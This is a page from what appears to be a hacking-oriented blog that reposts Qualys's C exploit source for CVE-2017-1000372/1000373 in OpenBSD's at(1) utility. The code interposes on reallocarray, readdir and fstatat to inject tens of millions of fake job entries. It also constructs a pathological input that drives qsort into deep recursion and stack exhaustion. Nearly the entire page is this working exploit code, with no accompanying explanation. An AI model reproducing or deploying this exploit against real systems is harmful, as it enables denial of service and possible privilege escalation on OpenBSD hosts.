Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86378005

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 * OpenBSD_at.c for CVE-2017-1000373
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2017-1000372
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
              :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
        size_t idx;
        size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
        slowsort_t * const pss = _pss;
        if (!pss) die();
        if (!key) die();
        if (pss->key) die();
        pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
        if (!aa) die();
        if (n <= 0) die();
        if (n >= SSIZE_MAX) die();
        if (es <= 0) die();
        if (es >= SSIZE_MAX) die();
        if (!cmp) die();

        #define SET_KEYS 4
        #define STACK_FRAME_SIZE 176
        const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
        if (n < pathological) die();
        size_t innocuous = n - pathological;

        char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
        int cmp_result, swaptype;
        size_t d, r;
        char *a = aa;

loop:   SWAPINIT(a, es);
        if (innocuous) {
            if (n <= innocuous) die();
            if (n - innocuous <= SET_KEYS) die();
            if (n <= 40) die();
        }
        if (n < 7) {
                for (pm = a; pm < a + n * es; pm += es) {
                        set_key(pm, 1 + (pm - a) / es);
                }
                for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
                        for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
                             pl -= es)
                                swap(pl, pl - es);
                return;
        }
        pm = (char *)a + (n / 2) * es;
        size_t set_keys = 0;
        if (n > 7) {
                pl = (char *)a;
                pn = (char *)a + (n - 1) * es;
                if (n > 40) {
                        d = (n / 8) * es;
                        if (innocuous) {
                            set_key(pl, RESET_KEY);
                            set_key(pl + d, RESET_KEY);
                            set_key(pl + 2 * d, RESET_KEY);
                        }
                        pl = med3(pl, pl + d, pl + 2 * d, cmp);
                        if (innocuous) set_key(pm - d, RESET_KEY);
                        set_key(pm + 0, n - innocuous - 3);
                        set_key(pm + d, n - innocuous - 2);
                        pm = med3(pm - d, pm, pm + d, cmp);
                        if (innocuous) set_key(pn - 2 * d, RESET_KEY);
                        set_key(pn - d, n - innocuous - 1);
                        set_key(pn - 0, n - innocuous - 0);
                        pn = med3(pn - 2 * d, pn - d, pn, cmp);
                        set_keys = SET_KEYS;
                } else {
                        set_key(pm, n - 1);
                        set_key(pn, n - 0);
                        set_keys = 2;
                }
                pm = med3(pl, pm, pn, cmp);
        } else {
                set_key(pm, n - 0);
                set_keys = 1;
        }
        if (!set_keys) die();
        swap(a, pm);
        if (innocuous) {
            if (a != aa) die();
            slowsort_t * pss = aa;
          {
            const size_t key = pss->key;
            if (!key) die();
            if (n <= 40) die();
            if (set_keys != SET_KEYS) die();
            if (key != n - innocuous - set_keys + 1) die();
          }
            const slowsort_t * const end = pss + n;
            size_t i = 0;
            for (;; pss++) {
                if (pss >= end) {
                    if (i != innocuous) die();
                    break;
                }
                if (!pss->key) {
                    if (i < innocuous) {
                        set_key(pss, n - i++);
                        set_keys++;
                    }
                } else if (pss->key == RESET_KEY) {
                    pss->key = 0;
                } else {
                    if (pss->key > n - innocuous) die();
                }
            }
        }
        pa = pb = (char *)a + es;
        pc = pd = (char *)a + (n - 1) * es;
        for (;;) {
                while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
                        if (cmp_result == 0) {
                                swap(pa, pb);
                                pa += es;
                        }
                        pb += es;
                }
                while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
                        if (cmp_result == 0) {
                                swap(pc, pd);
                                pd -= es;
                        }
                        pc -= es;
                }
                if (pb > pc)
                        break;
                swap(pb, pc);
                pb += es;
                pc -= es;
        }

        pn = (char *)a + n * es;
        r = MIN(pa - (char *)a, pb - pa);
        vecswap(a, pb - r, r);
        r = MIN(pd - pc, pn - pd - (ssize_t)es);
        vecswap(pb, pn - r, r);

        if ((pb - pa) / es != n - set_keys) die();
        if ((pd - pc) / es != set_keys - 1) die();

        if ((r = pb - pa) > es) {
                n = r / es;
                innocuous = 0;
                goto loop;
        }
        die();
}

static int
cmp_key(const void * const a, const void * const b)
{
        const size_t __a_key = ((const slowsort_t *)a)->key;
        const size_t __b_key = ((const slowsort_t *)b)->key;
        const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
        const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
        if (a_key < b_key) return -1;
        if (a_key > b_key) return +1;
        return 0;
}

#define    ATOI2(s)    ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
 * Adapted from date(1)
 */
static time_t
ttime(char *arg)
{
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;

    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
        die();

    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
        if (*p == '.' && dot == NULL)
            dot = p;
        else if (!isdigit((unsigned char)*p))
            goto terr;
    }
    if (dot == NULL)
        lt->tm_sec = 0;
    else {
        *dot++ = '\0';
        if (strlen(dot) != 2)
            goto terr;
        lt->tm_sec = ATOI2(dot);
        if (lt->tm_sec > 61)    /* could be leap second */
            goto terr;
    }

    yearset = 0;
    switch(strlen(arg)) {
    case 12:            /* CCYYMMDDhhmm */
        lt->tm_year = ATOI2(arg) * 100;
        lt->tm_year -= 1900;    /* Convert to Unix time */
        yearset = 1;
        /* FALLTHROUGH */
    case 10:            /* YYMMDDhhmm */
        if (yearset) {
            yearset = ATOI2(arg);
            lt->tm_year += yearset;
        } else {
            yearset = ATOI2(arg);
            /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
            lt->tm_year = yearset;
            if (yearset < 69)
                lt->tm_year += 100;
        }
        /* FALLTHROUGH */
    case 8:                /* MMDDhhmm */
        lt->tm_mon = ATOI2(arg);
        if (lt->tm_mon > 12 || lt->tm_mon == 0)
            goto terr;
        --lt->tm_mon;        /* Convert from 01-12 to 00-11 */
        lt->tm_mday = ATOI2(arg);
        if (lt->tm_mday > 31 || lt->tm_mday == 0)
            goto terr;
        lt->tm_hour = ATOI2(arg);
        if (lt->tm_hour > 23)
            goto terr;
        lt->tm_min = ATOI2(arg);
        if (lt->tm_min > 59)
            goto terr;
        break;
    default:
        goto terr;
    }

    lt->tm_isdst = -1;        /* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
        die();
    }
    if (then < now)
        die();
    return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
        real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
        if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
        if (reading_jobs) die();
        reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
        a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
        const size_t j = a[i].idx;
        const size_t k = a[i].key;
        if (j >= n) die();
        if (k <= 0) die();
        if (k > n) die();
        if (jobkeys[j]) die();
        jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
        real_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!real_readdir) die();
    }
    if (!reading_jobs) {
        return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
        write(STDERR_FILENO, "sorting jobs\n", 13);
        return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
  {
    static const struct {
        uint32_t min;
        uint32_t max;
    } units[] = {
        { 0, 59 }, /* Second */
        { 0, 59 }, /* Minute */
        { 0, 23 }, /* Hour */
        { 1, 28 }, /* Day */
        { 1, 12 }, /* Month */
        { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
        jobkeys = get_jobkeys();
        if (!jobkeys) die();
        write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
        const char * const str = u64tostr(percent);
        const size_t len = strlen(str);
        write(STDERR_FILENO, str, len);
        write(STDERR_FILENO, "%\n", 2);
        percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
        const uint32_t min = units[i].min;
        const uint32_t max = units[i].max;
        const uint32_t div = max - min + 1;
        const uint32_t u32 = min + timer % div;
        timer /= div;
        if (u32 < min) die();
        if (u32 > max) die();
        const char * const str = u64tostr(u32);
        const size_t len = strlen(str);
        if (cp <= arg) die();
        if (cp - arg < (ssize_t)len) die();
        cp -= len;
        memcpy(cp, str, len);
        if (len < 2) {
            if (cp <= arg) die();
            *--cp = '0';
        }
        if (!i) {
            if (cp <= arg) die();
            *--cp = '.';
        }
    }
    if (timer) die();
  }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
        real_fstatat = dlsym(RTLD_NEXT, "fstatat");
        if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
        return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
        user_uid = getuid();
        if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
}